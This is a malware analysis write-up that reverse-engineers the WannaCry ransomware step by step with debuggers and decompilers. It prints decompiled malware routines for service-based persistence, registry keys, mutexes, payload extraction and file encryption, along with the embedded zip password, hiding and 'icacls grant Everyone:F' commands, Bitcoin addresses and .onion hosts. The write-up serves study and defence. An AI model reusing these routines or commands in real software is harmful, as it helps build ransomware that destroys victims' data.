Copy of WannaCry Ransomware

Malware Detonation :

after detonating the malware we can notice that

  • sandbox escape technique which detects fake internet by connecting to a url.

  • it runs if there is no internet connection

  • files are encrypted with the extenstion WNCRY

there is a readme file where the malware author asks for money to decrypt victim files

Static Analysis :

strings :

floss Ransomware.wannacry.exe

this is the interesting strings i've found i didn't look deeply into the strings

SMB2
\192.168.56.20\IPC$

mssecsvc.exe

executable stored in the resources section :

the resource 1831 contains an executable which can be malicious and unpacked by wannacry binary at runtime to perform malicious behaviors.

Dynamic Analysis :

  • calls the InternetOpenA win32 api function to is used to initialize the use of WinINet functions which enables your application to interact with FTP and HTTP protocols to access Internet resources.

  • the binary loads a url string http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com into ecx register

lea     ecx, [esp+64h+szUrl]
  • calls the InternetOpenUrlA win32 api function to open the url and returns a valid handle to the URL if the connection is successfully established, or NULL if the connection fails.

  • if the connection to the url is established successfully then it will exit without doing anything to the victim.

  • if the connection is not established and the InternetOpenUrlA win32 api function returned NULL then it will call the function sub_408090

URL existance checking :

if we have internet connection we can see that the program always exits since the domain is registered by someone

here is the domain being checked which is already registered on the web by someone

so we have 2 solutions. patch the binary to make the comparaison always go to the interesting part where it calls the function sub_40890 or we can just turn off internet connection which we will do to make things simple.

now setting a breakpoint again we can see that it jumps to the other location

mssecsvc service creation :

this function gets the full path to the wannacry executable using GetModuleFilenameA and then checks if the wannacry executable is executed with arguments or no arguments.

if it's executed with no arguments the function sub_407F20 is called and then the program is done. else it opens an already created service called mssecsvc2.0 (will see later the program will be executed with arguments using an auto start service mssecsvc2.0)

proceeding to the function sub_407F20 since the ransomeware wannacry is executed by victims by clicking on the exe so it's run without arguments. the function calls 2 functions

let's proceed to the first one sub_407C40.

  • the variable buffer is assigned the string {path_to_wncry_exe} -m security for exemple in my case its C:\Users\Azer\Desktop\Ransomware.wannacry.exe -m security

  • open the service manager using OpenSCManagerA which is used to make other service related operations like starting or creating a service.

  • creates a service using CreateServiceA with the ServiceName mssecsvc2.0 and DisplayName Microsoft Security Center (2.0) Service and the fifth arg is 0x10 which means that the service will run in its own process the sixth arg is 2 which means the service is set to auto-start eigth arg is Buffer which is the BinaryPathName which is C:\Users\Azer\Desktop\Ransomware.wannacry.exe -m security

you can view the official docs and check all arguments passed and what they mean

  • starts the created service using StartServiceA

to see the service created we will be detonating the malware or setting a breakpoint after starting the service

let's run the binary by clicking on the green start button after hitting out breakpoint let's open the services windows by clicking on win + R -> services.msc

after we will enter the function sub_407CE0

Hiding imports via dynamic WinAPI functions resolving :

Import Address Table (IAT) stores information about libraries and functions that are used by the application. OS dynamically loads them at the executable startup. Very convinient (well it’s just how Windows works) however the table contents can give a lot of information about program functionality which could lead to being detected statically by antivirus vendors.

to hide this informations malware authors use a technique to dynamically resolve API function addresses using GetModuleHandleW to get handle to kernel32.dll loaded in memory and then find necessary functions with GetProcAddress.

to find the module used to find function address we have to find it dynamically so we will break after calling GetModuleHandleW which will return a handle to the module being used. which will be stored in eax register.

Extracting the wannacry encryptor binary :

after it starts extracting the resource 1831 which contains an executable from resources section. this is the resource we've found using pestudio.

so now to extract this resource content we can either copy the whole hex dump of the executable using a debugger or we can just dump it statically since its hard coded into the resources section of the binary, using pestudio tool we can do so.

using a debugger :

set a breakpoint just after the LockReource function after this the executable content will be stored in the eax register since functions return values are stored in the eax register. copy the address of eax and then go to hex view click on g and paste the address of eax and you will see that the eax data starts with the MZ header which confirms that its an executable.

using pestudio :

double click on executable and then save the file

let's open it using a hex editor program HXD

we can also use detect it easy to see more infos about the executable

opening the dumped executable using ida pro and looking at strings we can see crypto related strings which ensures that this is the part doing the encryption process. we can also see the encryption model used which is RSA so the ransomware may be is using public private key encryption.

tasksche.exe process creation :

let's get back to the code after extracting the resource 1831, after it creates two variables taskexe_path qeriu_path which hold different file paths and then creates a file using CreateFileA.

to find out what is the file created we will set a breakpoint at CreateFileA and then we will double click on taskexe_path after knowing the path we will step one instruction and search for the file created in the file system

breaking at the call CreateFileA instruction, double click on taskexe_path to view the path

the file will be created at C:\Windows\tasksche.exe

let's step one more instruction in the debugger using f8 and then open file explorer and search for this file

we notice that the file created is empty.

after this we will break after the WriteFile api function

now let's search for the value stored in &off_431340 by searching for the offset in hex view click on g and paste the offset and click enter

  • 20 2F 69 00 -> \i so the variable taskexe_path will be C:\WINDOWS\tasksche.exe \i

after this a new process will be created using CreateProcessA which will be executing the command line C:\WINDOWS\tasksche.exe \i

we will open process hacker since it may notify us about some changes if there is any when the process is created also we can search in the list of processes for any newly created process. let's set a breakpoint just after the call CreateProcessA instruction and then run the debugger.

we can notice just after the instruction call CreateProcessA being executed process hacker notifies us about a newly created service with the name bejrpjlecxiq111

process hacker detected a newly created service bejrpjlecxiq111

let's search in process hacker for newly created process and we can find the process tasksche.exe which is the file containing the executable extracted from 1831 resource.

for more informations about the process tasksche.exe double click on it.

we can see that the path of the tasksche.exe is moved from C:\Windows\tasksche.exe to C:\ProgramData\bejrpjlecxiq111\tasksche.exe

after few minutes new subprocesses apppear

Analyzing wannacry res1831 encryptor when we run it with argument /i :

to run a binary with arguments in ida click on debugger -> run -> local windows debugger and then specify the path to the binary and the argument

now let's reverse the resource 1831 which is injected into tasksche.exe using ida pro again

int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  char ***v4; // eax
  void *v5; // eax
  int v6; // eax
  void (__stdcall *v7)(_DWORD, _DWORD); // eax
  char v9[1240]; // [esp+10h] [ebp-6E4h] BYREF
  CHAR Filename; // [esp+4E8h] [ebp-20Ch] BYREF
  char v11[516]; // [esp+4E9h] [ebp-20Bh] BYREF
  __int16 v12; // [esp+6EDh] [ebp-7h]
  char v13; // [esp+6EFh] [ebp-5h]
  int v14; // [esp+6F0h] [ebp-4h] BYREF

  Filename = byte_40F910;
  memset(v11, 0, sizeof(v11));
  v12 = 0;
  v13 = 0;
  GetModuleFileNameA(0, &Filename, 0x208u);
  sub_401225((int)DisplayName);
  if ( *_p___argc() != 2
    || (v4 = _p___argv(), strcmp((*v4)[1], aI))
    || !sub_401B5F(0)
    || (CopyFileA(&Filename, FileName, 0), GetFileAttributesA(FileName) == -1)
    || !sub_401F5D() )
  {
    if ( strrchr(&Filename, 92) )
      *strrchr(&Filename, 92) = 0;
    SetCurrentDirectoryA(&Filename);
    sub_4010FD(1);
    sub_401DAB(0, Str);
    sub_401E9E();
    sub_401064(CommandLine, 0, 0);
    sub_401064(aIcaclsGrantEve, 0, 0);
    if ( sub_40170A() )
    {
      sub_4012FD(v9);
      if ( sub_401437(0, 0, 0) )
      {
        v14 = 0;
        v5 = (void *)sub_4014A6(aTWnry, (int)&v14);
        if ( v5 )
        {
          v6 = sub_4021BD(v5, v14);
          if ( v6 )
          {
            v7 = (void (__stdcall *)(_DWORD, _DWORD))sub_402924(v6, String1);
            if ( v7 )
              v7(0, 0);
          }
        }
      }
      sub_40137A(v9);
    }
  }
  return 0;
}

first thing it gets the path to the executable, after it calls the function sub_401225, essentially this function generates a pseudo-random string with a length between 11 and 18 characters, consisting of lowercase letters followed by digits generated based on the computer name value retrieved using GetComputerNameW

to see what is the random string generated we will set a breakpoint and follow execution after the instruction call sub_401225 which will return the value of the random string and therefore this value will be stored in eax register labeled as DisplayName, copy the address of eax and then in the hex view click on g and search for that address anc click enter

the random string generated is bjerpjlecxiq111 which is the service created previously and its part of the path where tasksche.exe is moved.

after this it will do a bunch of checks

  if ( *_p___argc() != 2
    || (v4 = _p___argv(), strcmp((*v4)[1], aI)) # aI -> "/i" (disassembly)
    || !sub_401B5F(0)
    || (CopyFileA(&Filename, FileName, 0), GetFileAttributesA(FileName) == -1)
    || !sub_401F5D() )

first check :

checks if the res 1831 program is launched with an argument and if it retuns false it will pass to the next check

second check : if it passed to this check that means that the argument is provided so this second check checks if the argument passed is "/i" (we saw that the res 1831 is passed to tasksche.exe and executed with "/i") if it's not "/i" it will pass to the next check

third check :

it will call the function sub_401B5F

  MultiByteToWideChar(0, 0, DisplayName, -1, &WideCharStr, 99);
  GetWindowsDirectoryW(&Buffer, 0x104u);
  v3[1] = 0;
  
  swprintf(&FileName, (const size_t)&off_40F40C, &Buffer);
  
  if ( GetFileAttributesW(&FileName) != -1 && sub_401AF6(&FileName, &WideCharStr, a1) )
    return 1;
    
  swprintf(&FileName, (const size_t)&off_40F3F8, &Buffer);
  if ( sub_401AF6(&FileName, &WideCharStr, a1) || sub_401AF6(&Buffer, &WideCharStr, a1) )
    return 1;
    
  GetTempPathW(0x104u, &FileName);
  
  if ( wcsrchr(&FileName, 0x5Cu) )
    *wcsrchr(&FileName, 0x5Cu) = 0;
    
  return sub_401AF6(&FileName, &WideCharStr, a1) != 0;
swprintf(&FileName, (const size_t)&off_40F40C, &Buffer); 

to find out what is FileName value is we will resolve its value dynamically by following execution after executing the whole command and then hover over the FileName and search for it in hex view

we see that FileName is :

  • FileName -> C:\ProgramData

after it will call GetFileAttributesW on FileName which is C:\ProgramData to check whether this Directory exists or not, if it exists it will proceed to call the function sub_401AF6

after this it will call the function sub_401AF6 with FileName C:\ProgramData as first arguement and bjerpjlecxiq111 as second argument

here is the decompiled code for sub_401AF6

int __cdecl sub_401AF6(LPCWSTR lpPathName, LPCWSTR lpFileName, wchar_t *Buffer)
{
  DWORD v4; // eax

  CreateDirectoryW(lpPathName, 0); #lpPathName -> "C:\ProgramData\"
  if ( !SetCurrentDirectoryW(lpPathName) )
    return 0;
  CreateDirectoryW(lpFileName, 0); # lpFileName -> "bejrpjlecxiq111"
  if ( !SetCurrentDirectoryW(lpFileName) )
    return 0;
  v4 = GetFileAttributesW(lpFileName);
  LOBYTE(v4) = v4 | 6;
  SetFileAttributesW(lpFileName, v4);
  if ( Buffer )
    swprintf(Buffer, (const size_t)&off_40EB88, lpPathName, lpFileName);
  return 1;
}

it changes the current working directory to the lpPathName directory C:\ProgramData\ and then creates a directory bejrpjlecxiq111 at C:\ProgramData

and finally sets the directory bejrpjlecxiq111 as hidden using SetFileAttributesW and supplying

after this it will exit the function sub_401B5F and it will execute this command

(CopyFileA(&Filename, FileName, 0), GetFileAttributesA(FileName) == -1)

after executing the instruction call CopyFileA , the file tasksche.exe will be copied to the destination C:\ProgramData\bejrpjlecxiq111\

fourth check :

then sub401F5D is called

BOOL sub_401F5D()
{
  CHAR Buffer; // [esp+4h] [ebp-208h] BYREF
  char v2[516]; // [esp+5h] [ebp-207h] BYREF
  __int16 v3; // [esp+209h] [ebp-3h]
  char v4; // [esp+20Bh] [ebp-1h]

  Buffer = byte_40F910;
  memset(v2, 0, sizeof(v2));
  v3 = 0;
  v4 = 0;
  GetFullPathNameA(FileName, 0x208u, &Buffer, 0);
  return sub_401CE8(&Buffer) && sub_401EFF(60) || sub_401064(&Buffer, 0, 0) && sub_401EFF(60);
}

first of all it will get the full path name for tasksche.exe using the windows api function GetFullPathNameA

and then it will call sub_401CE8

int __cdecl sub_401CE8(const char *a1)
{
  v1 = OpenSCManagerA(0, 0, (DWORD)&unk_F003F);
  hSCManager = v1;
  if ( !v1 )
    return 0;
  v3 = OpenServiceA(v1, DisplayName, (DWORD)&unk_F01FF);
  hSCObject = v3;
  if ( v3 )
  {
    StartServiceA(v3, 0, 0);
    CloseServiceHandle(hSCObject);
    v4 = 1;
  }
  else
  {
    sprintf(Buffer, "cmd.exe /c \"%s\"", a1);
    v5 = CreateServiceA(hSCManager, DisplayName, DisplayName, (DWORD)&unk_F01FF, 0x10u, 2u, 1u, Buffer, 0, 0, 0, 0, 0);
    v6 = v5;
    if ( v5 )
    {
      StartServiceA(v5, 0, 0);
      CloseServiceHandle(v6);
      v9 = 1;
    }
    v4 = v9;
  }
  CloseServiceHandle(hSCManager);
  return v4;
}

which tries to open the service with the name bejrpjlecxiq111 and if it's already created ,it will just start it if not it will create it

if the service is not already created it will create it, but before it will set up some arguments and the first one is the command line that the created service will execute. so it formats the buffer variable with the string cmd.exe /c C:\ProgramData\bejrpjlecxiq111\tasksche.exe wich will be the CommandLine to execute.

to see the content of buffer we can just double click it

we can copy the beginning address in hex view for better formatting and readability

there is a bunch of arguments passed to CreateServiceA api function you can visit microsoft docs to read what each one does but the most important ones are binaryPathName which is assigned the value of the buffer which contains the command line constructed cmd.exe /c C:\ProgramData\bejrpjlecxiq111\tasksche.exe since the buffer is passed to eax and then eax is passed to the 8th argument (binaryPathName arg) and the StartType which is 2 which means that the service will auto-start and the ServiceType which is 10 which means that the process will run in its own process

and then it starts the service using StartServiceA which run the wannacry res1831 encryptor with no arguments as a result it encrypts all the files in the system.

and then calls the function sub_401EFF which creates a mutex to ensure that no two instances of the binary are running at the same time

int __cdecl sub_401EFF(int a1)
{
  int v1; // esi
  HANDLE v2; // eax
  char Buffer[100]; // [esp+4h] [ebp-64h] BYREF

  sprintf(Buffer, "%s%d", aGlobalMswinzon, 0);
  v1 = 0;
  if ( a1 <= 0 )
    return 0;
  while ( 1 )
  {
    v2 = OpenMutexA((DWORD)&unk_100000, 1, Buffer);
    if ( v2 )
      break;
    Sleep(0x3E8u);
    if ( ++v1 >= a1 )
      return 0;
  }
  CloseHandle(v2);
  return 1;
}

and then exits the program.

WannaCry Attack Map Until This Point :

when tasksche.exe is run without arguments another path is taken where it does file system encryption and other operations.

Analyzing wannacry res1813 encryptor when we run it with no arguments :

importing the wncry.dump (1831 res) into ida pro directly and start executing it will make it execute with no arguments.

so it will bypass the if check since the first check *_p___argc() != 2 will return true and then jump into the strrchr command

setCurrentDirectoryA(&FileName);
FileName -> C:\ProgramData\bejrpjlecxiq111

and then the function sub_4010FD is called with argument 1

int __cdecl sub_4010FD(int a1)
{
  qmemcpy(Destination, aSoftware, sizeof(Destination));
  Buffer = 0;
  phkResult = 0;
  memset(v10, 0, sizeof(v10));
  memset(v6, 0, sizeof(v6));
  v7 = 0;
  v8 = 0;
  wcscat(Destination, L"WanaCrypt0r");
  v12 = 0;
  while ( 1 )
  {
    if ( v12 )
      RegCreateKeyW(HKEY_CURRENT_USER, Destination, &phkResult);
    else
      RegCreateKeyW(HKEY_LOCAL_MACHINE, Destination, &phkResult);
    if ( phkResult )
    {
      if ( a1 )
      {
        GetCurrentDirectoryA(0x207u, &Buffer);
        v1 = strlen(&Buffer);
        v2 = RegSetValueExA(phkResult, ValueName, 0, 1u, (const BYTE *)&Buffer, v1 + 1) == 0;
      }
      else
      {
        cbData = 519;
        v3 = RegQueryValueExA(phkResult, ValueName, 0, 0, (LPBYTE)&Buffer, &cbData);
        v2 = v3 == 0;
        if ( !v3 )
          SetCurrentDirectoryA(&Buffer);
      }
      RegCloseKey(phkResult);
      if ( v2 )
        break;
    }
    if ( ++v12 >= 2 )
      return 0;
  }
  return 1;
}

aSoftware -> "Software\", this string is passed to the variable Destination the string WanaCrypt0r is appended at the end of the string aSoftware so the Destination variable will be Software\WanaCrypt0r

qmemcpy(Destination, aSoftware, sizeof(Destination));
wcscat(Destination, L"WanaCrypt0r");
v12 = 0;
if ( v12 )
	# Destination is the subKey
	RegCreateKeyW(HKEY_CURRENT_USER, Destination, &phkResult);
else
    RegCreateKeyW(HKEY_LOCAL_MACHINE, Destination, &phkResult);

since v12 = 0 the registry subKey will be created at HKEY_LOCAL_MACHINE, to search for the subkey in regedit just CTRL + F and search for WanaCrypt0r

      if ( a1 )
      {
        GetCurrentDirectoryA(0x207u, &Buffer);
        v1 = strlen(&Buffer);
        v2 = RegSetValueExA(phkResult, ValueName, 0, 1u, (const BYTE *)&Buffer, v1 + 1) == 0;
      }
      else
      {
        cbData = 519;
        v3 = RegQueryValueExA(phkResult, ValueName, 0, 0, (LPBYTE)&Buffer, &cbData);
        v2 = v3 == 0;
        if ( !v3 )
          SetCurrentDirectoryA(&Buffer);
      }

since a1 is the argument passed to the function sub_4010FD and the argument is 1 that means that the first block will be executed, so it will get the CurrentDirectory and create a key value pair in the registry subKey created

after it will close the handle to registry and exit.

Extracting Protected Zip file from Resources section :

then call sub_401DAB(0, Str); where Str is WNcry@2ol7

int __cdecl sub_401DAB(HMODULE hModule, char *Str)
{
  HRSRC v2; // eax
  HRSRC v3; // esi
  HGLOBAL v4; // eax
  void *v5; // edi
  int v6; // eax
  void *v7; // esi
  int v9; // ebx
  char *i; // edi
  int Src; // [esp+8h] [ebp-12Ch] BYREF
  char Str1[296]; // [esp+Ch] [ebp-128h] BYREF

  v2 = FindResourceA(hModule, (LPCSTR)2058, Type);
  v3 = v2;
  if ( !v2 )
    return 0;
  v4 = LoadResource(hModule, v2);
  if ( !v4 )
    return 0;
  v5 = LockResource(v4);
  if ( !v5 )
    return 0;
  v6 = SizeofResource(hModule, v3);
  v7 = (void *)sub_4075AD(v5, v6, Str);
  if ( !v7 )
    return 0;
  Src = 0;
  memset(Str1, 0, sizeof(Str1));
  sub_4075C4((int)v7, -1, &Src);
  v9 = Src;
  for ( i = 0; (int)i < v9; ++i )
  {
    sub_4075C4((int)v7, (int)i, &Src);
    if ( strcmp(Str1, Str2) || GetFileAttributesA(Str1) == -1 )
      sub_40763D((int)v7, i, Str1);
  }
  sub_407656(v7);
  return 1;
}

in the beginning it will extract the resource 2058 from resources section using 4 windows api functions FindResourceA, LoadResource, LockResource and SizeofResource

let's extract this resource, i've couldn't extract it using pestudio tool

instead i will be using the wrestool

remnux@remnux:~/ctf/malware$ wrestool wncry.dump 
--type='XIA' --name=2058 --language=1033 [offset=0x100f0 size=3446325]
--type=16 --name=1 --language=1033 [type=version offset=0x359728 size=904]
--type=24 --name=1 --language=1033 [offset=0x359ab0 size=1263]
remnux@remnux:~/ctf/malware$ wrestool wncry.dump -R -x --name=2058 > 2058.XIA
remnux@remnux:~/ctf/malware$ file 2058.XIA 
2058.XIA: Zip archive data, at least v2.0 to extract
remnux@remnux:~/ctf/malware$ unzip 2058.XIA
Archive:  2058.XIA
[2058.XIA] b.wnry password: 
   skipping: b.wnry                  incorrect password
   skipping: c.wnry                  incorrect password
   ...
   ...
   ...

the resource is a password protected zip, let's try using the string passed to the function WNcry@2ol7 and it worked

remnux@remnux:~/ctf/malware/2025XIA$ unzip 2058.XIA
Archive:  2058.XIA
[2058.XIA] b.wnry password: WNcry@2ol7
  inflating: b.wnry                  
  inflating: c.wnry                  
  ...
  ...
  ...

remnux@remnux:~/ctf/malware/2025XIA$ ls
2058.XIA  b.wnry  c.wnry  msg  r.wnry  s.wnry  taskdl.exe  taskse.exe  t.wnry  u.wnry  wncry.dump
remnux@remnux:~/ctf/malware/2025XIA$ file *
2058.XIA:   Zip archive data, at least v2.0 to extract
b.wnry:     data
c.wnry:     data
msg:        directory
r.wnry:     ASCII text, with CRLF line terminators
s.wnry:     Zip archive data, at least v1.0 to extract
taskdl.exe: PE32 executable (GUI) Intel 80386, for MS Windows
taskse.exe: PE32 executable (GUI) Intel 80386, for MS Windows
t.wnry:     data
u.wnry:     PE32 executable (GUI) Intel 80386, for MS Windows
wncry.dump: PE32 executable (GUI) Intel 80386, for MS Windows

we can notice that those files extracted from the resource 2058 are the files copied to C:\ProgramData\bejrpjlecxiq111\

it loops through all extracted zip files creates files with there names writes their content in the files, change timestamp of the files and then moves them to the current working directory where tasksche.exe file is located

creates and writes the content of b.wnry

and then changes some time properties of the file using SetFileTime

SetFileTime(hFile, &CreationTime, &LastAccessTime, &LastWriteTime);

before it modified the time properties

after it has modified the time properties using SetFileTime

finally when the function sub_401DAB ends all files are moved to C:\ProgramData\bjerpjlecxiq111\

loading one of the bitcoin addresses into c.wnry :

after it calls the function sub_401E9E

int sub_401E9E()
{
  int result; // eax
  int v1; // eax
  char Buffer[178]; // [esp+0h] [ebp-318h] BYREF
  char Destination[602]; // [esp+B2h] [ebp-266h] BYREF
  char *Source[3]; // [esp+30Ch] [ebp-Ch]

  Source[0] = a13am4vw2dhxygx; #13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94
  Source[1] = a12t9ydpgwuez9n; #12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
  Source[2] = a115p7ummngoj1p; #115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn
  result = sub_401000(Buffer, 1);
  if ( result )
  {
    v1 = rand();
    strcpy(Destination, Source[v1 % 3]);
    result = sub_401000(Buffer, 0);
  }
  return result;
}
result = sub_401000(Buffer, 1);

the function sub_401000 when takes second argument different than 0 it reads the content of c.wnry into the first argument Buffer, and then wannacry randomly chooses one of the three available Bitcoin addresses and then writes this address back to the c.wnry file.

c.wnry file contains multiple .onion addresses and Tor zip file

remnux@remnux:~/ctf/malware/2025XIA$ cat c.wnry 
�Cgx7ekbenv2riucmf.onion;
57g7spgrzlojinas.onion;
xxlvbrloxvriy2c5.onion;
76jdd2ir2embyv47.onion;
cwwnhwhlz52maqm7.onion;
https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip

the function sub_401064 sets the current directory of the running process which is C:\ProgramData\bejrpjlecxiq111 to hidden using attrib +h . command

# CommandLine -> "attrib +h ."
sub_401064(CommandLine, 0, 0);

the function sub_401064 uses windows icacls to grant full access to all files on the target system.

# aIcaclsGrantEve -> "icacls . /grant Everyone:F /T /C /Q"
sub_401064(aIcaclsGrantEve, 0, 0);

Decrypting t.wnry Encrypted DLL Component :

After it retrieves the cryptographic key provider using CryptAcquireContextAMicrosoft Enhanced RSA and AES Cryptographic Provider

if the lpFileName is 0 it will call the function CryptImportKey with a global buffer variable &unk_40EBF8, double clicking on it apprears that it's a Microsoft RSA key BLOB, according to microsoft documentation page this function transfers a cryptographic key from a key BLOB into a cryptographic service provider (CSP), so i have renamed it to RSA_KEY in case it's used somewhere else.

if lpFileName is not 0 it will read the RSA_KEY from a file

in case of failure it will destoryKeys and release Crypto Context

and then passes the t.wnry file name as first argument and 0 as second argument

v14 = 0
 v5 = (void *)sub_4014A6(aTWnry, (int)&v14);
int __thiscall sub_4014A6(void **this, LPCSTR lpFileName, int a3)
{
  int v4; // ebx
  HANDLE v5; // edi
  size_t Size; // [esp+14h] [ebp-244h] BYREF
  int Buffer; // [esp+18h] [ebp-240h] BYREF
  char Buf1; // [esp+1Ch] [ebp-23Ch] BYREF
  int v10; // [esp+1Dh] [ebp-23Bh]
  __int16 v11; // [esp+21h] [ebp-237h]
  char v12; // [esp+23h] [ebp-235h]
  __int64 dwBytes; // [esp+24h] [ebp-234h] BYREF
  int v14[128]; // [esp+2Ch] [ebp-22Ch] BYREF
  int v15; // [esp+22Ch] [ebp-2Ch] BYREF
  int v16; // [esp+230h] [ebp-28h]
  LARGE_INTEGER FileSize; // [esp+234h] [ebp-24h] BYREF
  DWORD NumberOfBytesRead; // [esp+23Ch] [ebp-1Ch] BYREF
  CPPEH_RECORD ms_exc; // [esp+240h] [ebp-18h] BYREF

  v4 = 0;
  v15 = 0;
  Size = 0;
  Buf1 = 0;
  v10 = 0;
  v11 = 0;
  v12 = 0;
  Buffer = 0;
  NumberOfBytesRead = 0;
  ms_exc.registration.TryLevel = 0;
  v5 = CreateFileA(lpFileName, 0x80000000, 1u, 0, 3u, 0, 0);
  if ( v5 != (HANDLE)-1 )
  {
    GetFileSizeEx(v5, &FileSize);
    if ( FileSize.QuadPart <= 104857600 )
    {
      if ( ReadFile_0(v5, &Buf1, 8u, &NumberOfBytesRead, 0) )
      {
        if ( !memcmp(&Buf1, aWanacry, 8u) )
        {
          if ( ReadFile_0(v5, &Size, 4u, &NumberOfBytesRead, 0) )
          {
            if ( Size == 256 )
            {
              if ( ReadFile_0(v5, this[306], 0x100u, &NumberOfBytesRead, 0) )
              {
                if ( ReadFile_0(v5, &Buffer, 4u, &NumberOfBytesRead, 0) )
                {
                  if ( ReadFile_0(v5, &dwBytes, 8u, &NumberOfBytesRead, 0) )
                  {
                    if ( dwBytes <= 104857600 )
                    {
                      if ( sub_4019E1(this[306], Size, v14, (int)&v15) )
                      {
                        sub_402A76((int)v14, Src, v15, 0x10u);
                        v16 = (int)GlobalAlloc(0, dwBytes);
                        if ( v16 )
                        {
                          if ( ReadFile_0(v5, this[306], FileSize.LowPart, &NumberOfBytesRead, 0)
                            && NumberOfBytesRead
                            && NumberOfBytesRead >= dwBytes )
                          {
                            v4 = v16;
                            sub_403A77(this[306], v16, NumberOfBytesRead, 1);
                            *(_DWORD *)a3 = dwBytes;
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
  local_unwind2(&ms_exc.registration, -1);
  return v4;
}

if the t.wnry file is already created it takes the file size using GetFileSizeEx and it reads the first 8 bytes from the file and compares to WANACRY! , then reads 4 bytes and checks if it equals to 256, then reads 256 bytes.

calls the function sub_4019E1 which takes the 256bytes as argument, and tries to decrypt it using CryptDecrypt function and the RSA_KEY loaded previously.

so t.wnry contains encrypted content and the decompiled code and the assembly code is very hard to understand so rather than understanding the decryption logic and do it ourselves what we will do is follow execution until it gets fully decrypted by the malware :)

setting a breakpoint at the return value of the function sub_4021BD reveals an executable since the header magic bytes is MZ.

let's copy the hex dump of the executable and dump it. once it's dumped let's open it using detect it easy tool which detected the file as a 32 bit DLL.

and then calls the function sub_402924 with 2 arguments the first one being pointer to DLL and the second one the string TaskStart

# String1 -> TaskStart
v7 = (void (__stdcall *)(_DWORD, _DWORD))sub_402924(v6, String1);

which uses the function stricmp to lookup for the function TaskStart within the DLL and returns the address of the function within the DLL.

then loads the dll and calls the function TaskStart

v7(0, 0);

so we can conclude thatthe filet.wnry is an Encrypted DLL Component and the main ransomware encryption component and harmfull code is within this DLL.

Encryption :

first thing the malware creates 3 strings 00000000.res, 00000000.eky and 00000000.pky

then calls sub_10004600 which opens a mutex Global\\MsWinZonesCacheCounterMutexW and if the mutex is already opened and we can get a handle to it that means that the TaskStart function is already executed and the return value is 1 if not the mutex will be created and the result returned is 0.

if the returned value is 0 it will call the function sub_10004990 if not it will start by creating a thread. let's suppose that the TaskStart is being executed for the first time so the mutex will not be opened since there's no handle to it so it will return 0 so the next function sub_10004500 will be executed.

creates 00000000.dky string and then verifies the existance of the pky and dky files using GetFileAttributesA, then calls the function sub_10003D10 which imports the pky and dky files and tests the encryption and decryption process of some test data using CryptEncrypt and CryptDecrypt

so 00000000.dky file presents a decryption RSA key which is received upon the payment has been verified. When the victim clicks the “Check Payment” button.

if both files pky and dky exist and the encryption and decryption of TESTDATA was successfull the returned value will be 1 which means a thread will be created which will execute the function sub_10004990. for now let's suppose the files do not exist and we will be explaining the function sub_10004990 later.

so if both files do not exist it will call the function sub_10003AC0(pky, eky)

which takes pky and eky files as arguments, it starts by acquiring crypto context so it can use the crypto api provided by windows then it checks if the pky file exists, if it's the case it will import it from file using CryptImportKey, if it doesn't exist it will import it from the binary

CryptImportKey returns TRUE if it succeeds and with the ! it will be FALSE so it will generate a 2048 bit RSA Victim Public/Private Key Pair using CryptGenKey and then export the public key using CryptExportKey to pky file. then export the private key using CryptExportKey and encrypt it using another binary hardcoded Attacker public key and save it to eky file.

  • 00000000.eky -> is the Victim Private Key Encrypted with the Attacker Public Key hardcoded in the binary

  • 00000000.pky -> is the victim's Public Key

multiple threads are spawned :

every 5 seconds checks whether the user payed the ransom by testing the existence of the pky and dky files and if they exist testing the encryption and decryption process using some test data, and if everything works perfectly it sets a global variable to notify all other parts of the program.

first it gets bitmask representing all drives connected to the system (hard drive, removal media, CD-ROM ...etc) using GetLogicalDrives and then copies the result to another variable and after 3 seconds it gets another result again using GetLogicalDrives and compares the two results and if they are different it detects that a new drive is attached to the system and it keeps doing so every 3 seconds until the global variable decryption_successful_global_var is set to TRUE which means that the victim has payed the ransom, so we can conclude that it does this so it encrypts every drive attached to the system.

so when a new drive is attached it will call sub_10005680 function. using GetDriveTypeW it checks the type of the drive attached and if the drive id of the drive attached is 5 it simply returns without encrypting its files. 5 indicates a drive of type CD-ROM so all drives attached their files will be encrypted except for CD-ROM.

v4 = GetDriveTypeW;
if ( GetDriveTypeW(DirectoryName) == 5 ) # 5 -> CD-ROM drive
   return;

and then it starts iterating through directories of the drive and does some checks on what files to encrypt and what to not encrypt.

it checks the directory being iterated is one of those directories and if it does it skips it since wannacry doesn't encrypt the files important to the filesystem since corrupting the system files will not give the victim the ability to pay the ransom.

if the file being iterated is one of the wannacry files it skips it since wannacry doesn't want to encrypt its own files.

and then it checks the type of the file being iterated using the function sub_10002D60 so it cat determine which files should be encrypted and which files should be ignored.

v11 = sub_10002D60(FindFileData.cFileName);

which checks for the extension of the file using the function wcsrchr and get the last occurence of the character . in the filename and then gets the extension of the file.

result = (int)wcsrchr(Str, '.');

if the extension of the file is .exe or .dll returns 1.

if the extension of the file is .WNCRY returns 6.

if the file extensions matches one of those extensions in the list it will return 2.

if the file extensions matches one of those extensions in the list it will return 3.

all the extensions to be encrypted

and finally checks for the extension .WNCYR for which it returns 5 and WNCRYT for which it returns 4.

and then it adds the files to a list which returned values different than 1 or 6 which means files that have extensions different than .WNCRY , .exe, .dll

and then to encrypt each file being iterated in the file list, it generates for each file a 16-byte symmetric AES key using the CryptGenRandom function, and then encrypts the key using the file 00000000.pky which contains the victim public key, the encryption is done using the function CryptEncrypt.

Each file encrypted by the malware starts with the string WANACRY!, then the encrypted key length, the encrypted key, the file type which is 4, then file size, and finally the encrypted file contents.

How to decrypt data ?

to decrypt data encrypted by wannacry we have to first know how data is getting encrypted.

we know that each file is encrypted using an AES key, and then the AES key is encrypted using victim's public key and stored inside the encrypted file.

to decrypt the AES KEY encrypted with the victim's public key we should have the victim's private key, we know that the file 00000000.eky contains the victim's private key encrypted with the attacker public key which was embedded in the binary.

to decrypt the encrypted victim's private key we need the attacker private key which we do not have until we pay the ransomware.

Steps to decrypt data :

  1. use attacker's private key to decrypt the victim's private key encrypted with the attacker public key.

